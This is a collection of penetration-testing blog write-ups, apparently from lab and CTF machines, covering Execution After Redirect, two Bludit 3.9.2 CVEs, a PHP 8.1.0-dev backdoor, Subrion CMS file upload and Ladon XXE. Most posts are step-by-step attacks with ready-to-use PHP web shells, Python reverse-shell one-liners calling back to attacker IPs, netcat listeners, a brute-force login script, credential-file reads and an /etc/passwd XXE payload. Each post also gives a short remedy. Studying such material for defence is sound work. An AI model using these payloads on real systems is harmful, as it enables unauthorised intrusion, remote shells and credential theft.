Execution After Redirect (EAR)

by Vry4n_ | Apr 5, 2023 | Web Exploitation

The web application sends a redirect to another location, but instead of exiting, it executes additional code. This weakness could affect the control flow of the application and allow execution of untrusted code.

This code redirects unauthorized users, but continues to execute code after calling http_redirect(). This means even unauthorized users may be able to access the contents of the page or perform a DoS attack on the server being queried. Also, note that this code is vulnerable to an IP address spoofing attack (CWE-212).

The PHP code checks if the user IP is allowed in $ipAllowList or not. If not, it will redirect them to the login page located at /login. But there’s no one telling the program to stop executing all the code after the redirect. So, all the code that should run only when a user has a valid session will also get executed. If we use a proxy tool such as BurpSuite or ZAP, we can modify the response of 302 Found redirect into a 200 OK response.

Exploitation

Consider a web application that has login functionality. Users who have an account can access content/features in this web application only by logging in. Unauthenticated users are redirected to the login page for them to first log in and get an authenticated session.

Send to repeater.
View response.

1. I ran a directory discovery using dirsearch and noticed a lot of redirects

2. I decided to access /accounts.php, and indeed got redirected to login.php

3. I decided to capture the request/response using a proxy (BurpSuite), send the request to Repeater and resend it.

Request

Response

Note: here we can see the HTTP code 302 redirection, in location we can see the redirection to login.php

4. In the same response we can see the code of accounts.php, instead of login.php

5. In order to bypass this in the browser, go to (Proxy – Proxy Settings – Match and replace rules), send traffic through the proxy

Type: Response header
Match: 30[12] Found #match either 301 or 302
Replace: 200 OK
Comment: VK9 redirection bypass
Check “Regex match”

6. Now that the redirection rule has been set to bypass 301-302 HTTP code, visit the page we’re trying to access /accounts.php

Remedy

Proper termination should be performed after redirects. In a function a return should be performed. In other instances functions such as die() should be performed. This will tell the application to terminate regardless of if the page is redirected or not.

Sources

https://cwe.mitre.org/data/definitions/698.html

https://infosecwriteups.com/exploiting-execute-after-redirect-ear-vulnerability-in-htb-previse-92ea3f1dbf3d

https://owasp.org/www-community/attacks/Execution_After_Redirect_(EAR)#:~:text=Execution%20After%20Redirect%20(EAR)%20is,complete%20compromise%20of%20the%20application.

https://support.detectify.com/support/solutions/articles/48001048953-execution-after-redirect-ear-

https://martellosecurity.com/kb/mitre/cwe/698/

https://fireshellsecurity.team/execution-after-redirect/

Bludit 3.9.2 code execution – Path Traversal (Authenticated) (CVE-2019-16113)

by Vry4n_ | Apr 2, 2023 | CMS

Bludit could allow a remote authenticated attacker to execute arbitrary code on the system, caused by improper validation of file types. By uploading a specially-crafted image file, an attacker could exploit this vulnerability to execute arbitrary code on the system with privileges of the application.

PHP code can be entered with a .jpg file name, and then this PHP code can write other PHP code to a ../ pathname.

Affected Products

Bludit Bludit 3.9.2

Detect

1. Being already authenticated as a log priviledge user, we can check the version of the platform by looking at the site source code page, in our case 3.9.2

2. You can also use curl to get the page source code, then filter by version

curl http://10.10.10.191/admin

Exploit

1. Knowing this version is vulnerable to CVE-2019-16113, we can try to upload an image, in the main page click on content, or, visit http://10.10.10.191/admin/new-content

2. Click on “Images”, choose the image and upload it

3. Click on “Insert”, and then save the post

3. Now try to locate the place where the image is located, you can search for the publication, right click the image and click on “Open Image”, it will take you to the location of the file, in this case:

http://10.10.10.191/bl-content/uploads/pages/1b9f41ad138ee8e237ba29b827e1048a/test-image.jpg

4. Now that we know how to locate the file, we can try to upload php code, do the same steps (1-3), but this time upload a file that has code

vi exploit.php
<?php echo "Follow us." ?>

Note: we get a warning that only (gif, png, jpg, jpeg, svg) are permitted extensions. So, first we try to change the name of our file, second, we try to upload the file again.

mv exploit.php exploit.png

5. Now you can try to right click on that empty square, then click on image, to find the location of the file

6. If we try to view this image it will give us an error

http://10.10.10.191/bl-content/uploads/pages/0782f3f4a2ac06cd19d47d03181433a7/exploit.png

7. Now using BurpSuite we will try to upload again, and play with the HTTP request

8. We already know the path where the files are saved (/bl-content/uploads/pages/0782f3f4a2ac06cd19d47d03181433a7/exploit.png), so we can exploit the variable named “UUID”, to set the path were the file will be saved, we will send this request to BrupSuite Repeater

../../tmp
(ALTERNATIVE) ../../uploads

Note: this will, create the file and folder if necessary, in the response we need to have “Images Uploaded” with 200 OK Server response code

9. Now locate the file within the specified directory

http://10.10.10.191/bl-content/tmp/

10. Open the file, and the PHP code should be executed

http://10.10.10.191/bl-content/tmp/exploit.png

11. Now using the same request in BurpSuite repeater we can modify the code to execute, in this case I will set a system variable to execute code, I will change the filename also to exploi2.png

<?php echo shell_exec($_GET['cmd']); ?>

12. Check the location again and find the new file

http://10.10.10.191/bl-content/tmp/

13. Open the file, in the URL use the cmd variable to execute code, we will first try whoami command

http://10.10.10.191/bl-content/tmp/exploit2.png?cmd=whoami

14. Knowing we can now execute commands we can try to run a reverse shell, first start a listener in the local attacker machine

nc -lvp 4444

15. Now use python to execute the reverse shell connection

http://10.10.10.191/bl-content/tmp/exploit2.png?cmd=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.6",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

16. Looking at the listener we should have a connection back

Extra

1. Having access to the server we can find users and passwords that can be used to further exploit, move your console to the root directory of the web application, in my case (/var/www/bludit-3.9.2)

cd /var/www/bludit-3.9.2
find . -name users.php 2> /dev/null

2. We can read those files and look for user evidence

cat ./bl-content/databases/users.php

Remedy

See vendor documentation, and upgrade to a recent version.

Resources

https://www.exploit-db.com/exploits/47699

https://packetstormsecurity.com/files/155295

https://github.com/ynots0ups/CVE-2019-16113

https://github.com/advisories/GHSA-ch69-hjrw-4hf3

https://packetstormsecurity.com/files/155295/Bludit-Directory-Traversal-Image-File-Upload.html

Bludit 3.9.2 – Auth Bruteforce Bypass (CVE-2019-17240)

by Vry4n_ | Mar 30, 2023 | CMS

Bludit could allow a remote attacker to bypass security restrictions, caused by a flaw in the bl-kernel/security.class.php. By using many different forged X-Forwarded-For or Client-IP HTTP headers, an attacker could exploit this vulnerability to bypass a brute-force protection mechanism.

Versions prior to and including 3.9.2 of the Bludit CMS are vulnerable to a bypass of the anti-brute force mechanism that is in place to block users that have attempted to incorrectly login 10 times or more. Within the bl-kernel/security.class.php file, there is a function named getUserIp which attempts to determine the true IP address of the end user by trusting the X-Forwarded-For and Client-IP HTTP headers:

The reasoning behind the checking of these headers is to determine the IP address of end users who are accessing the website behind a proxy, however, trusting these headers allows an attacker to easily spoof the source address. Additionally, no validation is carried out to ensure they are valid IP addresses, meaning that an attacker can use any arbitrary value and not risk being locked out.

As can be seen in the content of the log file below (found in bl-content/databases/security.php), submitting a login request with an X-Forwarded-For header value of FakeIp was processed successfully, and the failed login attempt was logged against the spoofed string:

By automating the generation of unique header values, prolonged brute force attacks can be carried out without risk of being blocked after 10 failed attempts, as can be seen in the demonstration video below in which a total of 51 attempts are made prior to recovering the correct password.

Affected versions

Bludit 3.9.2

Detect

1. Access the Bludit main page

http://10.10.10.191/admin

2. Check the source code of the log in page, in the HTML header you can find the application version

Exploit (Script 1)

1. This script runs a list of passwords against a single user (you have to know the user.

git clone https://github.com/pingport80/CVE-2019-17240.git
cd CVE-2019-17240

2. Run the script enter the username and locate the password file, you can also set the number of threads to use. Once the script finds a match it will stop automatically

python3 brute.py -u http://10.10.10.191/admin/ -user fergus -w ../wordlist.txt -t 20

Remedy

Update to a version later than 3.9.2 or apply the patch found at https://github.com/bludit/bludit/pull/1090

Resources

https://github.com/bludit/bludit/pull/1090

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17240

https://www.exploit-db.com/exploits/48746

https://packetstormsecurity.com/files/158875

https://rastating.github.io/bludit-brute-force-mitigation-bypass/

https://github.com/pingport80/CVE-2019-17240

PHP 8.1.0-dev Backdoor Remote Code Execution (RCE)

by Vry4n_ | Feb 13, 2023 | Web Exploitation

PHP verion 8.1.0-dev was released with a backdoor on March 28th 2021, but the backdoor was quickly discovered and removed. If this version of PHP runs on a server, an attacker can execute arbitrary code by sending the User-Agentt header.

The original code was restored after the issue was discovered, but then tampered with a second time. The breach would have created a backdoor in any websites that ran the compromised version of PHP, enabling hackers to perform remote code execution on the site.

Identification

1. One of the ways to identify if a website is using PHP 8.1.0-dev, is to make a query using Curl, and print out the headers by identifying the server response

curl --head http://10.10.10.242

2. This can also be gotten from BurpSuite, in the server response

Exploitation

Script 1 (PHP 8.1.0-dev - 'User-Agentt' Remote Code Execution)

1. This script automatically exploits user-agentt, and provides a shell (https://www.exploit-db.com/exploits/49933)

curl https://www.exploit-db.com/download/49933 -o exploit.py
ls -l exploit.py

2. Run it against the vulnerable web site

python3 exploit.py
http://10.10.10.242/
whoami

Script 2 (Reverse Shell)

1. Download the script from (https://github.com/flast101/php-8.1.0-dev-backdoor-rce/blob/main/revshell_php_8.1.0-dev.py)

2. I named the file as exploit2.py

python3 exploit2.py -h

3. Start a listener, in the attacker machine

nc -lvp 3333

4. Run the command with the following data

python3 exploit2.py http://10.10.10.242/ 10.10.14.6 3333

5. Check the listener, and there should be a connection back

Remedy

Upgrade to a newer version, visit the vendor information for more info

Resources

https://www.exploit-db.com/exploits/49933

https://github.com/flast101/php-8.1.0-dev-backdoor-rce

https://flast101.github.io/php-8.1.0-dev-backdoor-rce/

Subrion CMS 4.2.1 – Arbitrary File Upload (Authenticated) – 2018-19422

by Vry4n_ | Jul 9, 2022 | CMS

Subrion CMS could allow a remote authenticated attacker to upload arbitrary files, caused by the improper validation of file extensions by the /panel/uploads URI. By sending a specially-crafted HTTP request, a remote attacker could exploit this vulnerability to upload a malicious PHP script, which could allow the attacker to execute arbitrary PHP code on the vulnerable system.

/panel/uploads in Subrion CMS 4.2.1 allows remote attackers to execute arbitrary PHP code via a .pht or .phar file, because the .htaccess file omits these.

Affect version

4.2.1

Identification

1. To identify the version of the Subrion application you can navigate to /panel/

http://ip/panel/
http://exfiltrated.offsec/login/

2. You can use curl to get the page info

curl http://exfiltrated.offsec/panel/ | grep -i Subrion

Exploitation (Script)

1. Now that we know the Subrion CMS version we can proceed search for exploits that apply

searchsploit Subrion 4.2.1

2. Looking at the results, I would use the “Arbitrary File Upload”, (https://www.exploit-db.com/exploits/49876), so, I download it

searchsploit -m php/webapps/49876.py
python 49876.py

3. After successful download, we proceed to test the script, we need to provide the credentials as this is an authenticated attack. You can brute force the credentials or try to use the default ones, admin/admin, in my case the default credentials were set

python 49876.py -u http://exfiltrated.offsec/panel/ -l admin -p admin
whoami

Exploitation (Manual)

1. Having already the credentials proceed to log into the Subrion CMS console

http://exfiltrated.offsec/panel/
admin/admin

2. Once, authenticated, go to http://[address]:[port]/[app_path]/panel/uploads

http://exfiltrated.offsec/panel/uploads/

3. We will create a php file that prints text as a Proof of Concept, the file extension should be either pht or .phar

vi php_poc.phar
cat php_poc.phar
<?php echo "Vry4n was here!"; ?>

4. Proceed to upload it to Subrion CMS, and check the location, in this case (uploads/php_poc.phar)

5. Navigate to that location, as you can see code has been executed

http://exfiltrated.offsec/uploads/php_poc.phar

6. Now we can try to upload a basic line of code to proof we can run commands

vi php_code.phar
cat php_code.phar
<?php system($_GET['cmd']); ?>

7. Repeat the upload step, and visit the file, then use the variable cmd followed by the command you need

http://exfiltrated.offsec/uploads/php_code.phar?cmd=whoami

8. We can run a python reverse shell, start a local listener in our attacking machine

nc -lvp 1234

9. I used https://www.revshells.com/ to create a python3 reverse shell

http://exfiltrated.offsec/uploads/php_code.phar?cmd=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.49.79",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
whoami

Extra

1. We can try to use a webshell, we will edit the one in our local Kali machine /usr/share/webshells/php/php-reverse-shell.php

cp /usr/share/webshells/php/php-reverse-shell.php ~/Desktop/php-reverse-shell.php
cd ~/Desktop
mv php-reverse-shell.php php-reverse-shell.phar
vi php-reverse-shell.phar

2. Start a listener

nc -lvp 1234

3. Upload it to the Subrion CMS, and then execute the .phar file, we should have a connection back

http://exfiltrated.offsec/uploads/php-reverse-shell.phar
whoami

Remedy

No remedy available as of November 14, 2018.

Resources

https://github.com/intelliants/subrion/issues/801

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-19422

https://packetstormsecurity.com/files/162591

https://www.exploit-db.com/exploits/49876

https://www.cvedetails.com/cve/CVE-2018-19422/

(XXE) Ladon Framework for Python – XML External Entity Expansion – CVE-2019-1010268

by Vry4n_ | Apr 23, 2022 | Web Exploitation

Ladon is a framework for exposing python methods to several internet service protocols. Ladon allows developers to expose functions of a class via different webservice protocols by using the @ladonize decorator in Python. By using the WSGI interface of a webserver or by running the Ladon command

line tool "ladon-2.7-ctl" with the command "testserve" and the name of the Python file, the webservices can be accessed via HTTP.

Sample code

from ladon.ladonizer import ladonize

class HelloService(object):

@ladonize(unicode, rtype=unicode)

def sayhello(self, uid):

return u"Hello {0}".format(uid)

This function can then be run as a ladon webservice via the following command:

ladon-2.7-ctl testserve helloservice.py -p 8000

Note: This enables access to the "sayhello"-function via SOAP- and JSON-APIs.

Affected versions of this package are vulnerable to XML External Entity (XXE) Injection. The vulnerability exploits the XML External Entity (XXE) processing in the SOAP request handlers. For instance, an attacker could send a specially crafted SOAP call to craft request handlers, resulting in the attacker being able to read files and pivot to other internal endpoints.

Attackers who can send SOAP messages to a Ladon webservice via the HTTP interface of the Ladon webservice can exploit an XML external entity expansion vulnerability to do the following:

read local files
forge server side requests
overload the service with exponentially growing memory payloads.

What is XXE?

XXE Injection is a type of attack against an application that parses XML input. XML is a markup language that defines a set of rules for encoding documents in a format that is both human-readable and machine-readable. By default, many XML processors allow specification of an external entity, a URI that is dereferenced and evaluated during XML processing. When an XML document is being parsed,

The parser can make a request and include the content at the specified URI inside of the XML document.
Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data

Payload example:

<?xml version="1.0"?>

<!DOCTYPE uid

[<!ENTITY passwd SYSTEM "file:///etc/passwd">

<soapenv:Envelope>

<soapenv:Body>

<urn:checkout>

<uid>&passwd;</uid>

</urn:checkout>

</soapenv:Body>

</soapenv:Envelope>

Vulnerable software versions

Ladon: 0.6.1 - 1.0.4

Versions 0.9.40 and below are affected

Enumeration

1. identify the application is using Ladon service.

2. Then I accessed the muddy service. In there I noticed the “checkout” function was enabled.

3. Looking for exploits I found this interesting one from Exploitdb (https://www.exploit-db.com/exploits/43113)

searchsploit ladon

4. Looking at the exploit I found this interesting payload

2. We need to modify the fields to match our environment, if we get to print our string then this application is vulnerable to XXE.

curl -s -X $'POST' \

-H $'Content-Type: text/xml;charset=UTF-8' \

-H $'SOAPAction: \"http://muddy.ugc:8888/muddy/soap11/checkout\"' \

--data-binary $'<?xml version="1.0"?>

<!DOCTYPE uid

[<!ENTITY passwd "Vry4n">

<soapenv:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"

xmlns:urn=\"urn:HelloService\"><soapenv:Header/>

<soapenv:Body>

<urn:checkout>

<uid xsi:type=\"xsd:string\">&passwd;</uid>

</urn:checkout>

</soapenv:Body>

</soapenv:Envelope>' \

'http://muddy.ugc:8888/muddy/soap11/checkout' | xmllint --format -

Exploitation

1. By including a DTD in the XML SOAP request, attackers are able to include external entities in the response of the server. In the case of the simple service the inclusion of the following DTD will result in the exposure of the "/etc/passwd"-file on the server using file://